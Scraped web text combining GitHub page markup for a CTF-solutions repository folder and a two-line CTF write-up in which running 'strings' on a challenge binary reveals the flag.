id="files" class="sr-only">Files</h2>
<include-fragment src="/BigB00st/ctf-solutions/file-list/master/sharky20/misc/tortoise"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>source</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>race</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>race.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Forwarding

Simple reversing challenge. Running `strings` on the binary gets you the flag.
```$ strings forwarding | grep tjctftjctf{just_g3tt1n9_st4rt3d}```
Flag: `tjctf{just_g3tt1n9_st4rt3d}` |
[](https://github.com/noob-atbash/CTF-writeups/blob/master/hsctf-20/README.md)No captcha required for preview. Please, do not write just a link to original writeup here. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.